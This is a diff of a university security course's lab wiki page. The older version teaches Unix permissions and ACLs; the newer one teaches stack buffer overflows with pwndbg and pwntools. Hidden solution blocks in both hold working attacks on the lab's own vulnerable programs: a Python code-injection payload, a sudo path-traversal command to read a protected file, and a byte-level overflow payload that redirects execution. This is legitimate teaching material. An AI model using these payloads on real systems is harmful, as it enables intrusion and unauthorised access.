Differences

This shows you the differences between two versions of the page.

Link to this comparison view

isc:labs:05 [2024/04/02 16:38]
florin.stancu [[25p] 01. Security through obscurity]
isc:labs:05 [2025/11/04 11:49] (current)
david.gherghita [Exercises]
Line 1: Line 1:
-/* ~~SHOWSOLUTION~~ */ +====== Lab 05 - Application Security ​======
- +
-====== Lab 05 - Access control ​======+
  
 ===== Objectives ===== ===== Objectives =====
-  * Mandatory Access Control 
-  * Discretionary Access Control 
-  * Unix Permissions & ACLs 
  
-===== Preparation =====+  * Call conventions & stack structure 
 +  * Buffer overflow vulnerabilities 
 +  * Using pwndbg & pwntools to facilitate exploit development
  
-You may use the UPB's [[https://​cloud.grid.pub.ro|OpenStack cloud to instantiate a Virtual Machine]] to be used for this lab! +===== Resources =====
-[[:​isc:​info:​virtualmachine|Read these instructions if you wanna know how!]].+
  
-===== Overview =====+   * [[https://​dhavalkapil.com/​blogs/​Buffer-Overflow-Exploit/​|Buffer overflow explained]] 
 +   * [[https://​dhavalkapil.com/​blogs/​Shellcode-Injection/​|Shellcode explained]] 
 +   * [[https://​chatgpt.com/​share/​67279837-b05c-800e-a60a-6629ef3dd7f7|ChatGPT'​s record for stack structure & buffer overflow]] //(same length, but why bother read the opinion of some anonymous industry expert when you got the popular AI kid parroting the same stuff, right?)//
  
-An access control system consists of a set of rules regarding whether subjects (e.g. users) are allowed to do an action (e.g. read / write / delete) on the system'​s objects (e.g. file / application).+===== Setup =====
  
-There are several models available:+  * [[:isc:​info:​virtualmachine|Open a lab VM instance]] on [[https://​cloud.grid.pub.ro|OpenStack]].
  
-  ​* **Mandatory Access Control** (**MAC**): access policies are controlled by a central authority (e.g. system administrator);​ example implementations include AppArmor, SELinux and Windows's Mandatory Integrity Control; +**If you're using the local VM for ARM 64 (AArch64)**:
-  * **Discretionary Access Control** (**DAC**): subjects may own objects, allowing them to propagate their access to others; this is the access scheme used by Posix Permissions ​(chmod), Linux ACLs and Windows File Access Control; +
-  ​* **Role-based Access Control** (**RBAC**)subjects are allowed access to objects based on their role; this is a flexible generalization that allows the implementation of both MAC and DAC rules; widely used in enterprise applications;​+
  
-==== Unix Permissions ====+  * You have ''​x86''​ cross-compilers pre-installed! Use ''​i686-linux-gnu-gcc''​ to build 32-bit programs and ''​x86_64-linux-gnu-gcc''​ for AMD64 targets; 
 +  * You also have [[https://​www.qemu.org/​docs/​master/​user/​main.html|qemu-user]] properly installed inside the local VM, so you can simply run any x86 binaries and they'​ll get emulated! 
 +  * If you intend to use ''​objdump''​ aarch64-hosted/​emulated x86 binaries, you must use the cross compiler suite'​s,​ so make sure to prefix it, e.g.: ''​x86_86-gnu-linux-objdump''​!
  
-Standard Linux access control is mainly done at the filesystem level by using a couple of bit flags (read write execute) representing actions allowed for a specific subject (user group othersto do on an object (filesystem nodes).+Note that we are using [[https://github.com/pwndbg/pwndbg|PwnDbg]] instead of the classic GDB because it is much more user friendly. Hope you'll like it ;)
  
-Standard UNIX actions are **Read**, **Write** and **Execute**,​ though their effects are different between files and directories:​ +===== Overview ===== 
-  * **read**: allows opening for reading ​file; for directoriesallows listing their contents (e.g., ''​ls''​)+ 
-  * **write**: allows opening a file for writing; for directories,​ allows creating & deleting ​its children; +A buffer overflow occurs when data written to buffer overruns its boundary and overwrites adjacent memory locationsdue to insufficient bounds checkingThusan exploiting this will be able to alter the execution flow of the program by overriding the previous instruction pointer register (prior to issuing the current function callsaved on stack and execute ​its own malicious code! 
-  * **execute**allows executing a file; for directories,​ allows changing working directory inside (e.g., ''​cd''​).+ 
 +{{:isc:​labs:​stack_layout.png?700}}
  
-The [[https://​man7.org/​linux/​man-pages/​man5/​acl.5.html#​ACCESS_CHECK_ALGORITHM|verification algorithm]] is also simple:+Also check out one of the resources linked on top ^^ !
  
-  * check if the user is the **owner** of the file; if true =apply the permissions in the owner slot; +<note tip
-  * check if the user is in the file's **group**; if true => apply the permissions in the group slot; +This representation of the stack is valid for 32 bit programs. The calling convention is to save the parameters on the stack.
-  * else: apply permissions in the **others** slot!+
  
-<​note>​ +To find out what's different for a 64 bit program check this [[https://www.systutorials.com/x86-64-calling-convention-by-gcc/|website]].
-//Fun fact//: if you have ''​077''​ (no permissions for owner, all permissions for group + others) and the owner try to actually read or write the file, the command fails :others will have full access!+
 </​note>​ </​note>​
  
-The basic tool to read permissions is ''​ls -l'',​ and for altering them: ''​chmod''​. 
-To change the owner / group of a filesystem object, use ''​chown'':​ 
-<​code>​ 
-# Read The Friendly Manuals: 
-man chmod 
-man chown 
-</​code>​ 
  
-=== Special Permissions & Examples ​===+===== GDB primer =====
  
-In addition to the regular POSIX permissions of read, write and execute there are 3 special permissions (available using an additional 3-bit subject structure). They hold the same place value as the regular permissions and are: +Please check out [[https://users.ece.utexas.edu/​~adnan/​gdb-refcard.pdf|GDB cheatsheet]] for the most common operations.
-<​code>​ +
-SETUID - set user ID on execute +
-SETGID - set group ID on execute +
-StickyBit - puts the directory in sticky mode +
-</code> +
-The SETUID and SETGID permissions allow users and groups who are not the owner or group of a file to execute that file as though they were. +
-When the Sticky Bit is set on directory, only that directory'​s owner or root can delete or rename ​the directory'​s files.+
  
-Example: //chmod 4762 myfile// translates ​to: +You should see how to:
-<​code>​ +
-setuid = on +
-setgid = off +
-sticky bit = off +
-user = read + write + execute +
-group = read + write +
-other = write +
-</​code>​+
  
-In addition to setting permissions numericallyyou can use addition ​and substraction operators+  * run a binary inside GDBpass arguments (and, for advanced casesprogrammatic standard input -- which ''​pwntools''​ will later prove very useful for!); 
-<​code>​ +  * add ''​break''​points & execution control (''​n''​ / ''​s''​ / ''​ni''​ / ''​si''​ / ''​c''​);​ 
-chmod u+w = add write to *user* +  * display variables and memory contents (''​p''​ / ''​x'' ​C expressions + various formats); 
-chmod g-rw = remove read and write from *group+  backtrace / frame printing & navigation; 
-chmod o-rwx = remove read, write and execute from *other*+  use ''​info''​ to see breakpoints / symbols;
  
-chmod u+s = add setuid +Please read [[:​isc:​labs:​05:​extra:​gdb-tutorial]] if you're missing any of the above knowledge.
-chmod g-s = remove setgid +
-chmod o+t = add sticky bit+
  
-chmod a+w = add write to *all* +[[https://​github.com/​pwndbg/​pwndbg|PwnDbg]] is very nice GDB plugin (written in Python) which displays ​plethora of information at each breakpoint ​and provides many useful commands (some which may prove to be useful when writing exploits!); here's an example output:
-chmod a-wx = remove write and execute from *all* +
-</​code>​+
  
-More examples: 
 <​code>​ <​code>​
-chmod u=rwx,​go=r ​set read, write, execute on *userand read, write on *groupand *other+22              if (argc == 1) { 
-chmod go=  = remove all permissions on *groupand *other*+LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 
 +─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────── 
 +*EAX  0xffffd880 ◂— 0x2 
 +*EBX  0x56558fcc (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ed4 
 +*ECX  0xffffd880 ◂— 0x2 
 +*EDX  0xffffd8a0 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 
 +*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0 
 +*ESI  0xffffd934 —▸ 0xffffdabd ◂— '/​home/​student/​appsec/​buggy'​ 
 +*EBP  0xffffd868 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— 0x464c457f 
 +*ESP  0xffffd850 —▸ 0xffffd890 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 
 +*EIP  0x56556281 (main+31) ◂— cmp dword ptr [eax], 1 
 +───────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────── 
 + ► 0x56556281 <​main+31> ​   cmp    dword ptr [eax], 1 
 +   ​0x56556284 <​main+34> ​   jne    main+61 ​                   <​main+61>​ 
 +    ↓ 
 +   ​0x5655629f <​main+61> ​   mov    dword ptr [ebp - 0xc], 0x796568 
 +   ​0x565562a6 <​main+68> ​   mov    eax, dword ptr [eax + 4] 
 +   ​0x565562a9 <​main+71> ​   add    eax, 4 
 +   ​0x565562ac <​main+74> ​   mov    eax, dword ptr [eax] 
 +   ​0x565562ae <​main+76> ​   sub    esp, 4 
 +   ​0x565562b1 <​main+79> ​   push   eax 
 +   ​0x565562b2 <​main+80> ​   lea    eax, [ebp - 0xc] 
 +   ​0x565562b5 <​main+83> ​   push   eax 
 +   ​0x565562b6 <​main+84> ​   lea    eax, [ebx - 0x1f6e] 
 +────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────── 
 +In file: /​home/​student/​appsec/​buggy.c 
 +   ​17 ​        ​gets(name);​ 
 +   ​18 ​        ​printf("​bye\n"​);​ 
 +   19 } 
 +   20 
 +   21 int main(int argc, char **argv) { 
 + ► 22         if (argc == 1) { 
 +   ​23 ​                ​puts("​Usage:​ %s <​name>​\n"​);​ 
 +   ​24 ​                ​return 1; 
 +   ​25 ​         } 
 +   ​26 ​        char buf[] = "​hey";​ 
 +   27 
 +────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── 
 +00:0000│ esp 0xffffd850 —▸ 0xffffd890 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 
 +01:​0004│-014 0xffffd854 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ... 
 +02:​0008│-010 0xffffd858 —▸ 0xf7fbeb20 —▸ 0xf7d99cc6 ◂— '​GLIBC_PRIVATE'​ 
 +03:​000c│-00c 0xffffd85c ◂— 0x1 
 +04:​0010│-008 0xffffd860 —▸ 0xffffd880 ◂— 0x2 
 +05:​0014│-004 0xffffd864 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac 
 +06:0018│ ebp 0xffffd868 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— 0x464c457f 
 +07:​001c│+004 0xffffd86c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10 
 +──────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── 
 + ► 0 0x56556281 main+31 
 +   1 0xf7da0519 __libc_start_call_main+121 
 +   2 0xf7da05f3 __libc_start_main+147 
 +   3 0x565560cb _start+43 
 +─────────────────────────────────────────────────────────────────────────────────────────────────────────
 </​code>​ </​code>​
  
-Another useful option ​is **-R**It allows ​you to modify objects **recursively**changing permissions on all objects in a directory ​and its subdirectories. +Let's take a look at the previous output that PwnDbg prints. You can see it is seprated into 5 sections: REGISTERS, DISASM, SOURCE, STACK and TRACE. 
-<​code>​ +With the original GDB you would have to manually print registersdisassemble code and inspect the stackThanks, God, for PwnDbg!
-chmod -R 755 myfolder +
-# same goes for chown: +
-chown -R student:​teachers myfolder +
-</​code>​+
  
-==== Linux Access Control Lists ====+==== Exercises ​====
  
-Imagine a system with the following users: //mike//, //dave//, //john//, //steve//, //mark//In that system, users //mike// and //dave// are members of a group called //sysop//. The user //mike// creates a new file called //​runme.sh//​. For this new file, the owner (//mike//) has read, write and execute permissions,​ the group //sysop// has read and execution permissions,​ and the rest of the users only have the read permission. Now, we want to give to //mark// the following permissions:​ read and write (but not execute permission),​ but not to the others!+=== 00Preparation ===
  
-With traditional Linux permission we cannot give this particular set of permissions to //mark// because neither as a member of others nor as a member of //sysop// that user would have the desired permissionsTherefore, we need a much more sophisticated system for controlling the permissions for files and directories,​ Access Control Lists (ACLs), supported by both Windows ​and Linux.+Download ​the {{ :​isc:​labs:​lab05-code.zip | lab archive }} and unpack it somewhere in your home.
  
-For Linux, **ACL (Access Control Lists)** provide a finer-grained control over which users can access specific directories and files than do traditional Linux permissions. Using ACLs, you can specify the ways in which each of several users and groups can access a directory or file.+Run ''​make''​.
  
-=== Displaying access permissions ​===+=== [20p] 01. Obfuscated Code ===
  
-The ''​getfacl'' ​command displays ​the file nameownergroup and the existing ACL for a file. +  * Run the ''​obfusflag'' ​binary; you may study the codebut your task is clear: find out the obfuscated flag! 
 +    * Use ''​gdb''​ofc! 
 +    * Trouble navigating through the runtime code? see the tutorials / cheatsheets above!
  
-<code+<note tip
-student@isc-vm:~$ getfacl runme.sh  +To change a variable without typing info built-in (not compiled using ''​-g''​),​ take the variable'​s address, cast to pointer of desired type then dereference:<​code>​ 
-# file: my-script.sh +set variable *(int *)&​myvar = value
-# ownermark +
-# group: sysop +
-user::rw- +
-group::​rw- +
-other::r--+
 </​code>​ </​code>​
 +</​note>​
  
-=== Setting ACLs of files === +    * Hint: you're on 64-bit, check the links above for the calling convention... 
- +    * Hint 2: you also don't have debugging info compiled-in,​ so you must use disassembly to find the RBP offset of the ''​buf'' variable; 
-The ''​setfacl'' ​command sets ACLs of files and directories. The ''​-m'' ​option adds or modifies one or more rules in a file or folder's ACL. +<spoiler In case of emergency, expand>​ 
 +If this seems too difficult or you wasted too much time, just add ''​-g'' ​to the ''​gcc''​ rule inside the Makefile, recompile and try it this way :(  
 +</​spoiler>​
  
 +<​solution -hidden>
 <​code>​ <​code>​
-setfacl -m ugo:<​user_or_group_name>:<​permissionsPATH...+# gdb obfusflag 
 +gdbbreak check_fl0gz0rx 
 +gdbrun 12345678901234567890 
 +gdb> set var *(int*)&​deez = 1 
 +gdb> tbreak *check_fl0gz0rx + 159   # before strcmp 
 +gdb> continue 
 +gdb> x/10s $rbp - 0x30  # find out buf's RBP offset from disass
 </​code>​ </​code>​
 +</​solution>​
  
-Examples: +=== [50p] 02Stack overflow ​(EZ) ===
-<​code>​ +
-setfacl ​ -mf u:​mark:​7 ​ runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives mark read, write and execute permissions to that file. +
-setfacl ​ -m  u:​mark:​rw- ​ runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives mark read and write and execute permissions to that file. +
-setfacl ​ -m  g:​sysop:​r-x ​ runme.sh ​ # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives sysop read and execute permissions to that file. +
-setfacl ​ -m  o::6  runme.sh ​ => Adds (or modifiesa rule to the ACL for the runme.sh file that gives others read and write permissions to that file. +
-setfacl ​ -m  u:​mark:​rx ​ runme.sh # => Adds (or modifies) a rule to the ACL for the runme.sh file that gives mark read and execute permissions to that file. +
-setfacl ​ -m  u:​mark:​rx ​ myfolder/ # => Adds (or modifies) a rule to the ACL for the folder00 folder that gives mark read and execute permissions to that folder (non-recursive!). +
-</​code>​+
  
-=== Removing rules === +  * Run & study the ''​buffovf'' ​binary. There is vulnerability in therecan you see it? 
- +  * Yep, you **must** use stack overflow to get this flag! 
-The ''​-x'' ​option removes rules in file or folder'​s ACLe.g.: +  ​First, ​try to crash the programUse programmatically generated input (e.g., from Python3);
-<​code>​ +
-setfacl ​ -x  u:​mark ​ runme.sh ​ => Removes mark's rule on runme.sh +
-</​code>​ +
- +
-===== Tasks ===== +
- +
-==== 00. Setup ==== +
- +
-All tasks will be solved inside a Docker container (available on Docker Hub): +
-<code bash> +
-docker pull ropubisc/​acl-lab ​ # to update image +
-docker run --rm --name acl-lab -it ropubisc/​acl-lab ​ # to run the container +
-</​code>​ +
- +
-**Alternatively**, if you receive a "rate limit" error from Docker Hub, **try out the GitHub-based repos**: <code bash> +
-docker pull ghcr.io/​cs-pub-ro/​isc-acl-lab:​latest +
-docker run --rm --name acl-lab -it ghcr.io/​cs-pub-ro/​isc-acl-lab +
-</​code>​  +
- +
-If you wish to open multiple terminals inside the same containerfind the container'​s name and use ''​docker exec'':​ +
-<code bash> +
-docker container ls +
-# note the container'​s name or hash -> copy it! +
-docker exec -it "<​CONTAINER_ID>"​ bash +
-</​code>​+
  
 +<note tip>
 +You can use ''​%%run args < <​(python3 -c '​import sys; sys.stdout.buffer.write(b"​A"​ * N)'​)%%''​ for stdin redirection directly within GDB! ;)
 +</​note>​
 <note warning> <note warning>
-Since you are running the containers locally, you may be temped ​to cheat by entering using the root user... +Do not use ''​print''​ in Python for this purpose as some installations (especially on Ubuntu) use a default UTF-8 encoding and auto-correct any unknown binary string ​to a valid sequenceThis is why ''​sys.stdout.buffer.write()''​ was used in the snippet abovebut bewareit requires a ''​bytes''​ object as argument! 
- +You can test the binary output using **xxd**: ''​python3 -c '... write here ...' | xxd -g 1''​
-This defeats the purpose of the labso: **don't do that**!+
 </​note>​ </​note>​
  
-==== [25p] 01. Security through obscurity ====+  * Next, try to answer this question: how many bytes do I need to overflow until I get to the EIP saved by the ''​call''​er (also see the stack diagram above)? 
 +    * Use either ''​objdump -S -M intel''​ or ''​pwndbg>​ disass <​name>''​ on the //​vulnerable function// to figure out the offset of the buffer variable from the EBP register using the assembly code; 
 +    * In order to check if the answer is right, try to use an input of the following form: ''​%%b"​A"​ * N + b"​\xEF\xCD\xAB\x98"​%%'';​ this should make the program segfault with the end instruction pointer at ''​0x98ABCDEF''​ (readily visible in pwndbg'​s automatic registers printing);
  
-  * Open the container. Try to read the files in ''​/​etc/​secret/​''​. There is a ''​flag''​ in there... can you read it? +  * Things start to become easy; call the ''​for_the_win'' ​function ​(simply replace the address above with the function's virtual address)! 
-  * Go to ''/​usr/​local/​isc/''​. There is a //hidden// directory containing a **very hidden** file (its name is a **hidden number** in the ''​100-10000''​ range). Can you try to guess it? +    * Do not forgetx86 uses little endian encoding for multi-byte integers! 
-    * //Hintyou may want to filter the output a bit.. ''​stderr''​ redirection,​ maybe?// +  * As bonuscan you further chain calls to make the exploited program gracefully exit?
-  * Finallyrun ''​giff-me-flag''​  +
-    * //Hint 1: no +x :| try to solve some other tasks to discover more credentials (you are allowed ​to use any account here ;)) // +
-    * //Hint 2: it expects a secret in ''​argv[1]''​!... can you "​reverse engineer"​ its ''​strings''​?.// +
-  * Total: **3 flags**!+
  
 <​solution -hidden> <​solution -hidden>
-<​code ​bash+<​code>​ 
-# first subtask: +pwndbg> run "​Salam"​ < <(python3 -c '​import syssys.stdout.buffer.write(b"A" ​* 0x19 +b"\xa6\x91\x04\x08"​ + b"​\x0e\x93\x04\x08"​ + b"​\xbe\xba\xfe\xca"​)')
-cat /​etc/​secret/​flag +
-# ISC{y1Z33} +
-for f in $(seq 100 10000)do [[ ! -f "/​usr/​local/​isc/​.hidden/.$f" ​]] || cat "/​usr/​local/​isc/​.hidden/​.$f"; done +
-cat /​usr/​local/​isc/​.1338 +
-# ISC{14mt3h31337} +
-strings /​usr/​local/​bin/​giff-me-flag | grep -i please +
-su student ​ # password: student! +
-giff-me-flag ​'PLEASE!!!11oneone'​ +
-# ISC{4lw4ys_s4y_m4g1c_w0rd}+
 </​code>​ </​code>​
 </​solution>​ </​solution>​
  
-==== [25p02The old userswitcheroo ====+=== [30p03Format string leak + pwntools ​===
  
-  * Inside ​the container, you have many existing users! +  * Run the following command ​to open docker container: <​code>​ 
-  * The starter account has the password ''​hunter2''​. The others have further instructions (text files) inside their home directories! +docker run -d -p 31337:1337 --rm --name leakme -it ghcr.io/cs-pub-ro/isc-lab-buff-leakme
-  * Main objective: read the flag inside ''/​home/​.not_for_your_eyes''​ by using the good ol' **u**ser <-> **s**witcher//​o//​o commands! +
-    * //Hint: explore all homes & read the (possibly hidden!) files in there, your next step **is always** suggested in there!// +
-    * //Note: ''​sudo'',​ by default, tries to execute ​command on behalf of the ''​root''​ account (this is forbidden here). Read its man page to see how you can specify another user!// +
-    * //Hintyou will need to do some unusual "path traversals"​ on that last binary to catch the final flag.// +
-  * Total: **1 flag** (most difficult)! +
- +
-<​solution -hidden>​ +
-<​code ​bash+
-ls -l /​home/​.not_for_your_eyes +
-su mihai  # password`hunter2` +
-ls -la /​home/​decanu/​ +
-cat /​home/​decanu/​.secret/password.txt +
-su decanu +
-cat /​home/​rekt0r/​tutorial.txt ​ # he tells you how to use sudo to read the file! +
-cat /​etc/​sudoers +
-# you have access to the /​home/​rekt0r/​read-bank-accounts binary using sudo as `decanu`! +
-sudo -u rekt0r ​/home/​rekt0r/​read-bank-accounts ../​../​.not_for_your_eyes +
-# ISC{1st0pp4bl3_m1h41_r3kt0r}+
 </​code>​ </​code>​
-</​solution>​+    * try if the server is up using the ''​netcat''​ utility: ''​nc localhost 31337'';​ after the test succeeds, simply quit... read on!
  
-==== [25p03Specials ====+  * Open (locally, ignore the container server for now) the ''​leakme''​ code & binary. Try to overflow its input buffer! 
 +  * For this task, you must use [[https://​docs.pwntools.com/​en/​stable/​|pwntools]]. Check the included ''​exploit_skel.py''​ code for further instructions ;) 
 +    * Note: ASLR is running (and don't just disable it :P); you'll need to leak some ''​.TEXT''​ (code segment) addresses using a format string attack and figure out the final ''​call_me_maybe()''​ function'​s virtual address! 
 +    * For practice, you could also (trivially) implement the exploit for the previous task in ''​pwntools''​! 
 +<note warning>​ 
 +Beware of this behavior: if you overwrite just 1-2 extra bytes after the saved EIP, you will invalidate the ''​get_user_info''​ function'​s arguments, thus your program will crash earlier on one of those ''​memcpy''​ lines and won't get to return properly! Use the attached GDB and set breakpoints before these lines to debug (or just ''​reverse-*''​ your execution to discover the crash reason ;) ). 
 +</​note>​
  
-  * Go back as being the ''​hacker'​'! +  * After successfully exploiting it, note that there's no flag file available locallyBut you should have the exploit ready, so simply set the ''​REMOTE = True''​ to get the real one!
-  * Retrieve ​the flag from ''​t4l3nt''​'s home directory! +
-    * //Hint: You have t3h source code! // +
-    * //Hint: Py code injection: try to simulate ​the resulting value of ''​expr''​ (on a notepad)!//​ +
-  * Total: **1 flag**!+
  
 <​solution -hidden> <​solution -hidden>
-<code bash> +[[https://github.com/cs-pub-ro/ISC-labs/blob/master/lab05-appsec/resources/exploit_solved.py|View solution code (GitHub, requires login!)]]
-rm -f /tmp/.TEST_MODE_ENABLED +
-/home/t4l3nt/​sant_calculator "123); import subprocess; print(subprocess.run(['​ls',​ '-l', '/home/t4l3nt/.flags'​])"​ +
-/home/​t4l3nt/​sant_calculator "​open('/​home/​t4l3nt/.flags/​whereisflagz0rx.txt'​).read()+
-</​code>​+
 </​solution>​ </​solution>​
  
-==== [25p] 04. Linux ACLs ==== +=== Feedback ​===
- +
-  * Enter as ''​student''​ (inside the container, ofc!); guess the password! +
-  * Run ''​copy-t3h-fl4gz''​ -- it's not working properly.. fix the permissions (//no source code? you should have no problems with it :P//)! +
-    * //Hint: "​reverse engineer"​ it, again!// +
-  * Total: **2 flags**! +
- +
-<​solution -hidden>​ +
-<code bash> +
-strings /​usr/​local/​bin/​copy-t3h-fl4gz +
-su student ​ # pass: student +
-cd ~ +
-mkdir givemeflagz && chmod 711 givemeflagz +
-setfacl -m u:​flagz0wner:​rwx givemeflagz/​ +
-copy-t3h-fl4gz +
-cat givemeflagz/​lastflag1.txt +
-# trick is: umask 006 of the copy script removed +x from second directory :D +
-# but if you know the filename... +
-cat givemeflagz/​second/​lastflag2.txt +
-</​code>​ +
-</​solution>​+
  
 +Please take a minute to fill in the [[https://​forms.gle/​5Lu1mFa63zptk2ox9|feedback form]] for this lab.
  
isc/labs/05.1712065091.txt.gz · Last modified: 2024/04/02 16:38 by florin.stancu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0